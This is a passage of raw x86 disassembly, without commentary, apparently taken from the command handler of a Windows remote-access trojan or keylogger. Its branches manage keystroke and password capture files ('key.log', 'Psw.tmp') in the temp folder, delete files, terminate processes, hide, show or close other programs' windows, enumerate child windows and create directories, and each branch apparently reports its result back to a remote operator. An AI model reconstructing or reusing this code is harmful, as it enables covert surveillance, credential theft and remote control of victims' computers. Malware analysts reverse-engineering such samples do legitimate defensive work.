mov word [ebp - 0x4b8], 0x26c
mov edx, 0x48cb70
lea eax, [ebp - 0xd8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x278
mov edx, 0x48cb80
lea eax, [ebp - 0xdc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
lea ecx, [ebp - 0x824]
push ecx
push 0x100
call sub.KERNEL32.DLL_GetTempPathA
mov edx, str.key.log
lea eax, [ebp - 0x824]
call fcn.0045fd60
mov ecx, dword [0x48a698]
test ecx, ecx
je 0x414c3e
mov word [ebp - 0x4b8], 0x284
mov edx, 0x48cb8e
lea eax, [ebp - 0xe0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0x80
lea ecx, [ebp - 0x824]
push ecx
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 0x824]
push eax
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
je 0x414cb0
mov word [ebp - 0x4b8], 0x290
mov edx, 0x48cba0
lea eax, [ebp - 0xe4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x29c
mov edx, 0x48cbb2
lea eax, [ebp - 0xe8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x2a8
xor ecx, ecx
mov al, byte [0x48a754]
mov dword [ebp - 0xec], ecx
inc dword [ebp - 0x4ac]
test al, al
mov word [ebp - 0x4b8], 0x2b4
je 0x414d72
mov word [ebp - 0x4b8], 0x2c0
mov edx, 0x48cbc4
lea eax, [ebp - 0xf0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xec]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.00474d44
jmp 0x414dbd
mov word [ebp - 0x4b8], 0x2cc
xor ecx, ecx
lea eax, [ebp - 0xf4]
mov dword [ebp - 0xf4], ecx
push eax
inc dword [ebp - 0x4ac]
call fcn.0040994c
pop ecx
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xec]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x2d8
xor ecx, ecx
mov dword [ebp - 0xf8], ecx
lea ecx, [ebp - 0xf8]
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0xec]
mov eax, 0x48cbc9
call fcn.00475018
lea edx, [ebp - 0xf8]
mov eax, dword [ebp - 0x4d4]
mov edx, dword [edx]
call fcn.004578d8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xf8]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x2e4
mov edx, 0x48cbd4
lea eax, [ebp - 0xfc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xfc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
xor ecx, ecx
mov cl, byte [0x48a754]
push ecx
mov eax, dword [ebp - 0x4d4]
push eax
call fcn.00409630
mov word [ebp - 0x4b8], 0x2f0
add esp, 8
mov edx, 0x48cbda
lea eax, [ebp - 0x100]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov edx, dword [0x49b104]
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x4d4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x414f5c
mov word [ebp - 0x4b8], 0x2fc
mov edx, 0x48cbe0
lea eax, [ebp - 0x104]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x308
mov edx, 0x48cbf4
lea eax, [ebp - 0x108]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
lea ecx, [ebp - 0x924]
push ecx
push 0x100
call sub.KERNEL32.DLL_GetTempPathA
mov edx, 0x48cbfa
lea eax, [ebp - 0x924]
call fcn.0045fd60
mov word [ebp - 0x4b8], 0x314
lea edx, [ebp - 0x924]
lea eax, [ebp - 0x10c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov eax, dword [eax]
call fcn.0045f8bc
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x415054
mov word [ebp - 0x4b8], 0x320
lea edx, [ebp - 0x924]
lea eax, [ebp - 0x110]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00474d44
mov eax, dword [ebp - 0x4d4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x4150b3
mov word [ebp - 0x4b8], 0x32c
mov edx, 0x48cc02
lea eax, [ebp - 0x114]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x338
mov edx, 0x48cc1a
lea eax, [ebp - 0x118]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
lea ecx, [ebp - 0xa24]
push ecx
push 0x100
call sub.KERNEL32.DLL_GetTempPathA
mov edx, str.Psw.tmp
lea eax, [ebp - 0xa24]
call fcn.0045fd60
push 0x80
lea ecx, [ebp - 0xa24]
push ecx
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 0xa24]
push eax
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
je 0x415197
mov word [ebp - 0x4b8], 0x344
mov edx, 0x48cc28
lea eax, [ebp - 0x11c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x350
mov edx, 0x48cc3a
lea eax, [ebp - 0x120]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
push ecx
call fcn.0040a15c
pop ecx
mov edx, 0x48cc4c
mov word [ebp - 0x4b8], 0x35c
lea eax, [ebp - 0x124]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov cl, byte [0x48a754]
test cl, cl
jne 0x41525f
mov eax, dword [ebp - 0x4d4]
push eax
call fcn.00408fac
pop ecx
jmp 0x41526c
mov edx, dword [ebp - 0x4d4]
push edx
call fcn.004094e0
pop ecx
mov word [ebp - 0x4b8], 0x368
mov edx, 0x48cc52
lea eax, [ebp - 0x128]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x4f4], ecx
xor edx, edx
mov word [ebp - 0x4b8], 8
mov dword [ebp - 0x4f8], eax
mov eax, esi
mov word [ebp - 0x4b8], 0x380
mov dword [ebp - 0x12c], edx
lea ecx, [ebp - 0x12c]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x12c]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x374
mov cl, byte [0x48a754]
test cl, cl
jne 0x415377
lea eax, [ebp - 0x4f8]
push eax
mov edx, dword [edi*4 + 0x49a904]
push edx
push 1
push 0x400
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_GetExitCodeProcess
mov ecx, dword [ebp - 0x4f8]
push ecx
mov eax, dword [edi*4 + 0x49a904]
push eax
push 1
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x4153d3
mov edx, dword [edi*4 + 0x49ad04]
test edx, edx
je 0x4153d3
lea ecx, [ebp - 0x4f4]
push ecx
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_GetWindowThreadProcessId
lea edx, [ebp - 0x4f8]
push edx
mov ecx, dword [ebp - 0x4f4]
push ecx
push 1
push 0x400
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_GetExitCodeProcess
mov eax, dword [ebp - 0x4f8]
push eax
mov edx, dword [ebp - 0x4f4]
push edx
push 1
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov word [ebp - 0x4b8], 0x38c
mov edx, 0x48cc58
lea eax, [ebp - 0x130]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
push ecx
call fcn.004094e0
pop ecx
mov edx, 0x48cc5e
mov word [ebp - 0x4b8], 0x398
lea eax, [ebp - 0x134]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x3b0
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x138], ecx
lea ecx, [ebp - 0x138]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x138]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x3a4
mov ecx, dword [edi*4 + 0x49ad04]
test ecx, ecx
je 0x4154ff
push 0
push 0
push 0x10
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_PostMessageA
mov word [ebp - 0x4b8], 0x3bc
mov edx, 0x48cc64
lea eax, [ebp - 0x13c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x3d4
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x140], ecx
lea ecx, [ebp - 0x140]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x140]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x3c8
mov ecx, dword [edi*4 + 0x49ad04]
test ecx, ecx
je 0x4155cd
push 0
push 0
push 0x12
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_PostMessageA
mov word [ebp - 0x4b8], 0x3e0
mov edx, 0x48cc6a
lea eax, [ebp - 0x144]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x3f8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x148], ecx
lea ecx, [ebp - 0x148]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x148]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x3ec
push 1
mov ecx, dword [edi*4 + 0x49ad04]
push ecx
call sub.USER32.DLL_ShowWindow
mov word [ebp - 0x4b8], 0x404
mov edx, 0x48cc70
lea eax, [ebp - 0x14c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x410
mov edx, 0x48cc76
lea eax, [ebp - 0x150]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x428
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x154], ecx
lea ecx, [ebp - 0x154]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x154]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x41c
mov ecx, dword [edi*4 + 0x49ad04]
test ecx, ecx
je 0x4157a7
push 0
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_ShowWindow
mov word [ebp - 0x4b8], 0x434
mov edx, 0x48cc7c
lea eax, [ebp - 0x158]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x44c
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x15c], ecx
lea ecx, [ebp - 0x15c]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x15c]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x15c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x440
mov ecx, dword [edi*4 + 0x49ad04]
test ecx, ecx
je 0x415871
push 3
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_ShowWindow
mov word [ebp - 0x4b8], 0x458
mov edx, 0x48cc82
lea eax, [ebp - 0x160]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x160]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x470
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x164]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x164]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov edi, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x164]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x464
mov ecx, dword [edi*4 + 0x49ad04]
test ecx, ecx
je 0x41593b
push 6
mov eax, dword [edi*4 + 0x49ad04]
push eax
call sub.USER32.DLL_ShowWindow
mov word [ebp - 0x4b8], 0x47c
mov edx, 0x48cc88
lea eax, [ebp - 0x168]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x168]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x494
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x16c], ecx
lea ecx, [ebp - 0x16c]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x16c]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x4fc], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x16c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x488
mov ecx, dword [ebp - 0x4d4]
push ecx
push 0x409080
mov eax, dword [ebp - 0x4fc]
mov edx, dword [eax*4 + 0x49ad04]
push edx
call sub.USER32.DLL_EnumChildWindows
mov word [ebp - 0x4b8], 0x4a0
mov edx, 0x48cc8e
lea eax, [ebp - 0x170]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x170]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x4b8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x174], ecx
lea ecx, [ebp - 0x174]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov word [ebp - 0x4b8], 0x4ac
mov word [ebp - 0x4b8], 0x4c4
xor eax, eax
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x178], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov word [ebp - 0x4b8], 0x4ac
mov word [ebp - 0x4b8], 0x4d0
xor eax, eax
mov dword [ebp - 0x17c], eax
lea ecx, [ebp - 0x17c]
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x174]
mov eax, 0x48cc94
call fcn.00475018
lea edx, [ebp - 0x17c]
push edx
mov edx, 0x48cca3
lea eax, [ebp - 0x180]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x184], eax
lea edx, [ebp - 0x180]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x184]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x184]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x184]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x180]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x17c]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x4d4]
push ecx
mov eax, dword [ebp - 0x178]
push eax
mov edx, dword [ebp - 0x174]
push edx
call fcn.00405378
add esp, 0xc
test al, al
jne 0x415c01
mov word [ebp - 0x4b8], 0x4dc
mov edx, 0x48cca5
lea eax, [ebp - 0x188]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x188]
mov edx, 2
call fcn.00474d44
jmp 0x415c4d
mov word [ebp - 0x4b8], 0x4e8
mov edx, 0x48ccb5
lea eax, [ebp - 0x18c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x18c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x178]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x174]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
push 0
xor ecx, ecx
mov word [ebp - 0x4b8], 0x4f4
mov dword [ebp - 0x190], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x190]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x190]
test eax, eax
je 0x415cc1
mov edx, dword [ebp - 0x190]
jmp 0x415cc6
mov edx, 0x48ccbb
push edx
call sub.KERNEL32.DLL_CreateDirectoryA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x190]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x415db4
mov word [ebp - 0x4b8], 0x500
xor ecx, ecx
lea edx, [ebp - 0x194]
mov dword [ebp - 0x194], ecx
mov eax, 0x1004
inc dword [ebp - 0x4ac]
call fcn.0045f6c4
lea ecx, [ebp - 0x194]
push ecx
mov edx, 0x48ccbc
lea eax, [ebp - 0x198]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x19c], eax
lea edx, [ebp - 0x198]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x19c]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x19c]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x198]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x194]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x50c
mov edx, 0x48ccca
lea eax, [ebp - 0x1a0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1a0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x518
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x1a4], ecx
lea ecx, [ebp - 0x1a4]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea edx, [ebp - 0x1a4]
xor eax, eax
mov dword [ebp - 0x1a8], eax
lea ecx, [ebp - 0x1a8]
inc dword [ebp - 0x4ac]
mov eax, 0x48ccd8
call fcn.00475018
lea edx, [ebp - 0x1a8]
push edx
mov edx, 0x48cce7
lea eax, [ebp - 0x1ac]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x1b0], eax
lea edx, [ebp - 0x1ac]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1b0]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x1b0]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1b0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1ac]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1a8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1a4]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x1b4]
mov word [ebp - 0x4b8], 0x524
mov dword [ebp - 0x1b4], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x1b4]
mov edx, dword [eax]
push edx
call fcn.00408184
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1b4]
mov edx, 2
call fcn.00474d44
push 0x1f4
call fcn.00403e2c
pop ecx
lea edx, [ebp - 0x1b8]
mov word [ebp - 0x4b8], 0x530
xor ecx, ecx
mov eax, 0x1004
mov dword [ebp - 0x1b8], ecx
inc dword [ebp - 0x4ac]
call fcn.0045f6c4
lea ecx, [ebp - 0x1b8]
push ecx
mov edx, 0x48ccec
lea eax, [ebp - 0x1bc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x1c0], eax
lea edx, [ebp - 0x1bc]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1c0]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x1c0]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
